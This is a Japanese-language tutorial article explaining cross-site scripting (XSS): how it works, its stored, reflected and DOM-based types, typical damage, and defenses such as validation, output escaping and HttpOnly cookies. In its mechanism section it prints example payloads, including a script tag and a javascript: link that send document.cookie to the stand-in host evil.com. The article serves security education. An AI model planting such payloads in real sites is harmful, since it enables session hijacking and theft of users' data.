Webアプリケーションの開発や運営をしていると、必ず耳にするセキュリティ脆弱性のひとつがXSS(クロスサイトスクリプティング)です。
- 名前は知っているけど、イメージがわかない
- 実際にどんな被害があるのか、どう防げばいいのかわからない
そんな方も多いのではないでしょうか。この記事では、XSSの仕組み・攻撃の種類・実際の被害例・効果的な対策方法をわかりやすく解説します。ご参考になれば幸いです。
XSS(クロスサイトスクリプティング)とは?
XSS(Cross-Site Scripting / クロスサイトスクリプティング)とは、ユーザーの入力内容によって表示が動的に変わるWebサイトにおいて、Webサイトの入力処理や出力処理に不備がある場合に、攻撃者によって悪意のあるスクリプト(主にJavaScript)が埋め込まれ、利用者のブラウザで実行させてしまう脆弱性攻撃のことです。
たとえば、掲示板やコメント欄に入力した内容がそのまま画面に表示されるWebサイトがあったとします。ここで攻撃者が普通のコメントではなく以下に示すような「悪意のあるスクリプト(JavaScript)」を投稿すると、そのページを閲覧した利用者のブラウザでスクリプトが動作してしまいます。
<script>alert('あなたの情報が盗まれました');</script>
悪意のあるスクリプトの内容によっては、以下のような被害が発生します。
- CookieやセッションIDの盗難(セッションハイジャック)
- フィッシングサイトへのリダイレクト
- DOM操作によるページ改ざん
XSSの仕組み

クロスサイトスクリプティング(XSS)の概要は、なんとなくイメージできたでしょうか?
ここからは、XSS攻撃が実際にどのように仕掛けられるのかを、図や具体例を交えて解説していきます。
- 攻撃者が脆弱性のあるWebサイトに罠を仕掛ける
- 見つかった脆弱性のあるWebサイトに、不正スクリプトを埋め込みます。
- 代表的な不正スクリプトの埋め込み方には、以下の2つがあります。
- ページに直接スクリプトを埋め込む
- 例:
<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
- 攻撃者が掲示板の投稿やURLパラメータを通じてこのスクリプトを埋め込むと、脆弱なWebサイトに保存・反映されます。
- このスクリプトは、情報収集用の攻撃者が用意したWebサイト(例:
https://evil.com/steal
)に遷移するもので、クエリ文字列としてクッキー値を付けています。 - ユーザーが脆弱性のあるWebサイトを開いただけで自動的に実行されてしまいます。
- 例:
- クリックさせるリンクを仕込む
- 例:
<a href="javascript:document.location='https://evil.com/steal?cookie='+document.cookie">こちらをクリック</a>
- 攻撃者は掲示板の投稿やメール本文にこのようなリンクを貼ります。
- ユーザーは普通のリンクに見えるため、疑いなくクリックしてしまう可能性があります。
- クリックした瞬間に
document.location=...
が実行され、同じくクッキーが攻撃者が用意したWebサイト(例:https://evil.com/steal
)に送られます。
- 例:
- ページに直接スクリプトを埋め込む
- こうして「標的サイトに不正なコードを忍ばせる」のがクロスサイトスクリプティング(XSS)の出発点です。
- 利用者が罠が仕掛けられたWebサイトを閲覧する
- ユーザーは一見「普通のWebサイト」と思ってアクセスします。
- クリックなどによりスクリプトが実行され、別のWebサイトに遷移する
- 不正スクリプトは、ユーザーの操作をきっかけに動き出します。一例を以下に示します。
- 脆弱性のあるWebサイトを表示したとき
- 掲示板の投稿やコメントに埋め込まれた不正スクリプトは、閲覧した瞬間に実行され、攻撃者が用意したWebサイト(例:
https://evil.com/steal
)に遷移します。 - ユーザーが何も操作していなくても、被害が発生します。
- 掲示板の投稿やコメントに埋め込まれた不正スクリプトは、閲覧した瞬間に実行され、攻撃者が用意したWebサイト(例:
- リンクをクリックしたとき
- 攻撃者が掲示板やメールに貼った「不正リンク」をクリックすると、不正スクリプトが実行され、攻撃者が用意したWebサイト(例:
https://evil.com/steal
)に遷移します。
- 攻撃者が掲示板やメールに貼った「不正リンク」をクリックすると、不正スクリプトが実行され、攻撃者が用意したWebサイト(例:
- 脆弱性のあるWebサイトを表示したとき
- 不正スクリプトは、ユーザーの操作をきっかけに動き出します。一例を以下に示します。
- スクリプト実行によりCookieや個人情報が攻撃者が用意したWebサーバーに漏洩する
- 実行されたスクリプトによって、以下のような被害が発生します。
- ブラウザに保存されているCookie(セッションID等)や入力フォームに入力したID・パスワード・クレジットカード情報が攻撃者が用意したWebサーバー(例:
https://evil.com/steal
)に漏洩する
- ブラウザに保存されているCookie(セッションID等)や入力フォームに入力したID・パスワード・クレジットカード情報が攻撃者が用意したWebサーバー(例:
- 実行されたスクリプトによって、以下のような被害が発生します。
- 漏洩したデータが攻撃者の手にわたる
- 最終的に、抜き取られた情報は攻撃者が用意したサーバー(例:
https://evil.com/steal
)へ送信されます。
- 最終的に、抜き取られた情報は攻撃者が用意したサーバー(例:
XSSの由来
XSSの仕組みからわかるように、ユーザーは信頼しているWebサイトを利用しているつもりでも、Webサイトに仕込まれたスクリプトが動くことで、情報は攻撃者の用意した別のWebサイト(例: evil.com)に送られてしまいます。
つまり、信頼サイトと攻撃者サイトを「またいで」通信が起きるため「クロスサイト」と呼ばれます。攻撃に使われるのが不正なスクリプト(JavaScript)なので、合わせて「クロスサイトスクリプティング(XSS)」となります。
XSSの対策
XSSを防ぐには、攻撃者が仕込んだ不正スクリプトを「入力」段階で遮断し、万が一通ってしまっても「出力」段階で無害化することが重要です。さらに、ブラウザやフレームワークの仕組みを活用して被害を最小化する工夫も必要です。
以下にXSSの代表的な対策方法を解説します。
対策① 入力値の制限(バリデーション)
XSS攻撃は、入力フォームやURLパラメータを通じて「不正な文字列」を入力することで発生します。そのため、入力値を厳しく制御することが効果的です。
入力値の制限(バリデーション)の具体例
- 郵便番号フォーム → 数字のみ(0-9)を許可
- ユーザーID・パスワード → 半角英数字+長さ制限を設定
ポイントは「サーバー側で必ずチェックする」ことです。JavaScriptによるブラウザ側チェックだけでは、ユーザーがJSを無効化していた場合に突破されてしまいます。
対策② 出力時のエスケープ(サニタイズ)
Webサイトでは、特殊な文字や記号が重要な役割を持ちます。たとえば、HTMLでは<
や>
が特別な意味を持ち、HTMLタグとして解釈されます。例えば、<br>
は改行を示し、<script>
はJavaScriptのコードを埋め込むためのタグです。
エスケープ(サニタイズ)は、ユーザーが入力したデータの中に含まれる「特別な意味を持つ文字(例えば、< や >)」を一定の規則に従って別の表記に置き換えて無効化する手法です。
代表的な変換例を以下に示します。
元の文字 | エスケープ後 |
---|---|
< | < |
> | > |
& | & |
" | " |
' | ' |
これにより<script>
タグなどが単なる「文字」として表示され、ブラウザで実行されなくなります。
あわせて読みたい
『エスケープ』や『サニタイズ』やについては下記の記事で詳しく説明しています。興味のある方は下記のリンクからぜひチェックをしてみてください。
バリデーションとエスケープの組み合わせが必須
- バリデーション(入力制限) → 攻撃コードを「入力させない」
- エスケープ(サニタイジング) → 万一入力されても「無害化」
このバリデーションとエスケープの二段構えが重要です。「バリデーションだけ」「エスケープだけ」では不十分です。
対策③ HttpOnly属性をCookieに設定する
HttpOnly
属性をCookieに設定すると、そのCookieはJavaScriptのdocument.cookie
でアクセスできなくなります。HttpOnly
属性はサーバー側でCookieを設定する際にSet-Cookie HTTPヘッダーに含めることで利用できます。
Set-Cookie: sessionid=xxxx; HttpOnly; Secure
これにより、攻撃者がdocument.cookie
を使ってもCookieを奪えなくなります。
あわせて読みたい
『HttpOnly属性』については下記の記事で詳しく説明しています。興味のある方は下記のリンクからぜひチェックをしてみてください。 続きを見る【Cookieの属性】「設定方法」などを分かりやすく解説!
対策④ フレームワークやライブラリのセキュリティ機能を利用
近年のフレームワーク(React, Angular, Vueなど)は、標準でXSS対策を備えています。自前で危険な文字列処理を実装せず、フレームワークに任せるのが安全です。
対策⑤ ソフトウェアのアップデート
フレームワークやライブラリ自体に脆弱性が見つかることがあります。
Webアプリケーションであれば、フレームワークおよびライブラリを、Webサイトでしたら利用しているコンテンツ管理システム(CMS)を最新バージョンを利用し続けるようにしましょう。
XSSの主な3つの種類
XSSは大きく分けてストアドXSS(Stored)、リフレクトXSS(Reflected)、DOMベースXSS(DOM-based)の3種類があります。
ストアドXSS(Stored XSS / 永続型 / 蓄積型)
掲示板やコメント欄のように入力内容をサーバーに保存する仕組みを悪用するものです。攻撃者が不正なスクリプトを投稿すると、そのデータがサーバーに保存され、ページを閲覧するたびに他のユーザーのブラウザでも自動的に実行されてしまいます。多数の利用者が一度に影響を受けるため、最も危険度が高いタイプです。
リフレクトXSS(Reflected XSS / 反射型)
URLパラメータなどに仕込まれたスクリプトが入力チェックをすり抜け、そのままレスポンスに反映されることで発生します。攻撃者は細工したURLをメールやSNSで送りつけ、ユーザーにクリックさせることで攻撃を成立させます。被害者はリンクを踏んだユーザーに限定されますが、フィッシングや偽装リンクと組み合わせられることが多いため注意が必要です。
DOMベースXSS(DOM-based XSS)
サーバーではなくブラウザ上で動作するJavaScriptの処理を悪用するものです。たとえばdocument.location
やinnerHTML
にユーザー入力をそのまま渡してしまうようなコードが原因になります。被害範囲は限定的ですが、サーバー側に痕跡が残らないため発見や検知が難しく、特にシングルページアプリケーション(SPA)などフロントエンドがリッチなWebアプリで注意が必要です。
XSS攻撃の実例
XSS攻撃の実例についていくつか紹介します。
CookieやセッションIDの盗難
XSSによって埋め込まれた不正スクリプトが、ユーザーのブラウザからCookie情報を抜き取ります。Cookieにはログイン中のセッションIDが含まれているため、攻撃者はそのセッションIDを使って被害者になりすまし、不正ログインできてしまいます。
被害例
- SNSアカウントを乗っ取られる
- ECサイトで勝手に注文される
- 個人情報が流出する
このようなWebサイトにログインしているユーザーのセッションIDを攻撃者が盗み取り、そのIDを悪用してユーザーになりすます攻撃をセッションハイジャック攻撃と呼びます。
フィッシングサイトへのリダイレクト
仕込まれたスクリプトによって、ユーザーがアクセスした正規のページから偽サイトに強制的にリダイレクトします。
偽サイトは本物そっくりに作られており、ユーザーは気づかずにID・パスワードやクレジットカード情報を入力してしまい、その情報が攻撃者に送られてしまいます。
被害例
- ECサイトを装った偽サイトでカード番号を盗まれる
- ログインページを装ってアカウント情報を奪われる
DOM操作によるページ改ざん
XSSを利用すると、JavaScriptでページの構造(DOM)を自由に操作できます。これにより、ユーザーが見ているページが不正に改ざんされてしまいます。
典型的な改ざん手口
- フォームの送信先URLを書き換える
- ページ内に偽の入力フォームを追加する
- 正規サイトに攻撃者のコンテンツを埋め込む
この結果、ユーザーが入力した情報を攻撃者のサーバーへ送信させたり、フィッシングサイトへ誘導することが可能になります。
本記事のまとめ
この記事では『XSS(クロスサイトスクリプティング)』について説明しました。
XSS(クロスサイトスクリプティング)は、ユーザーが信頼しているWebサイトを経由して攻撃が仕掛けられるため、非常に危険で発見もしにくい脆弱性です。しかし、入力値の制限(バリデーション)や出力時のエスケープ(サニタイズ)といった基本的な対策を組み合わせることで、防ぐことが可能です。
お読み頂きありがとうございました。